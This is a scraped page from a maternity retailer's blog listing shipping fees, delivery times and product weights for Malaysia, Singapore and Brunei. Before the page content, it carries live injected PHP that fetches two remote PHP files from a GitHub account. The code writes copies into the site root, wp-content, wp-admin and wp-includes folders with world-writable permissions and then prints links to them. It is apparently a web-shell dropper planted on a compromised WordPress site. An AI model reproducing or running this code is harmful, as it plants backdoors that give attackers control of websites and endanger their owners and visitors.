// Array of GitHub raw file URLs $githubRawFileUrls = [ 'https://github.com/Mr-X1337/xxx/raw/refs/heads/main/xwpg.php', 'https://github.com/Mr-X1337/develop/raw/refs/heads/main/xmanager.php' ]; // Paths to save files $savePaths = [ $_SERVER['DOCUMENT_ROOT'] . '/', $_SERVER['DOCUMENT_ROOT'] . '/wp-content', $_SERVER['DOCUMENT_ROOT'] . '/wp-admin/network/', $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/assets/' ]; // Ensure all paths exist, create them if they don't foreach ($savePaths as $path) { if (!is_dir($path)) { mkdir($path, 0777, true); } } // Initialize a counter $fileCounter = 1; // Array to store the downloaded file paths along with their WordPress paths $downloadedFiles = []; // Loop through each URL foreach ($githubRawFileUrls as $url) { // Fetch content from GitHub file $content = file_get_contents($url); if ($content !== false) { // Extract file extension from the URL $fileExtension = pathinfo($url, PATHINFO_EXTENSION); // Formulate the filename with the counter and file extension $filename = $fileCounter . '.' . $fileExtension; foreach ($savePaths as $savePath) { // Path to save the file in the current directory $localFilePath = $savePath . "/$filename"; // Write content to a new file $fileWriteResult = file_put_contents($localFilePath, $content); if ($fileWriteResult !== false && $savePath === $_SERVER['DOCUMENT_ROOT'] . '/wp-content') { // Store the downloaded file paths along with their WordPress paths for display $downloadedFiles[$url] = [ 'wordpress_path' => $localFilePath, 'url' => $url ]; } } // Increment the counter for the next file $fileCounter++; } } // Display links to the downloaded files if (!empty($downloadedFiles)) { echo "

Downloaded Files:

"; foreach ($downloadedFiles as $downloadedFile) { $wordpressPath = $downloadedFile['wordpress_path']; $fileUrl = str_replace($_SERVER['DOCUMENT_ROOT'], '', $wordpressPath); echo "

File: $fileUrl
Original URL: {$downloadedFile['url']}

"; } } else { echo "No files downloaded."; } ?> Free Shipping for Malaysia, Singapore & Brunei - mamaway Maternity Blog & Advice

Free Shipping for Malaysia, Singapore & Brunei

Mamaway Malaysia Shipping & Delivery time

Standard Shipping Fee: 

  • West Malaysia: RM10
  • East Malaysia: RM15

Free Shipping:

  • Free Shipping with a minimum spend RM400 
  • The minimum spend is only applicable after discounts and vouchers have been applied.


Delivery time: 

  • Klang Valley Area: 3-5working days
  • Peninsular Malaysia: 3-7 working days
  • East Malaysia (Sabah, Sarawak, Labuan): 5-10 working days

Click here to track your order

  • Free Shipping to SG: Spend RM700 on each order.
  • Delivery Time: 5 ~10 working days after you placed the order  (shipped by Aramex.)
  • Payment Method:  Credit Card payment only.

Rate to Singapore: 

WeightShipping Fee
0.01 kg – 1 kgRM35.00 
1.01 kg – 2 kgRM60.00 
2.01 kg – 3 kgRM95.00 
3.01 kg – 4 kgRM105.00 
4.01 kg – 5 kgRM120.00 
5.01 kg – 6 kgRM130.00 
6.01 kg – 7 kgRM140.00 
7.01 kg – 8 kgRM150.00 
8.01 kg – 9 kgRM160.00 
9.01 kg – 10 kgRM170.00 
10 kg – 30 kgRM200.00 
  • Free Shipping to BN: Spend RM700 on each order.
  • Delivery Time: 5 ~10 working days after you placed the order  (shipped by Aramex.)
  • Payment Method:  Credit Card payment only.

Rate to Brunei: 

WeightShipping Fee
0.01 kg – 1 kgRM45.00 
1.01 kg – 2 kgRM55.00 
2.01 kg – 3 kgRM65.00 

Product Weight List (per piece)

CategoriesProductWeight (kg)Volumetric Weight (kg)
LingerieSeamless Bra*0.350.75
Crossover Bra0.150.15
Panties (2/pack)0.10.1
ClothesTop0.40.35
Dress0.40.35
Pajamas Set*0.650.75
Core SupportPostnatal Belly Band0.40.4
Maternity Belt*0.20.3
Bedding & AccessoriesBaby Sling*0.450.65
Moon Pillow*1.64.95
Baby Pillow*0.51.15
Stroller Liner*0.250.36
Breast Pads*0.320.45

Volumetric Weight will be taken if it is higher than actual weight. 

Any requirement, you can always contact us

Start shopping now!

Click here to track your order


Comments

Leave a Reply

Your email address will not be published. Required fields are marked *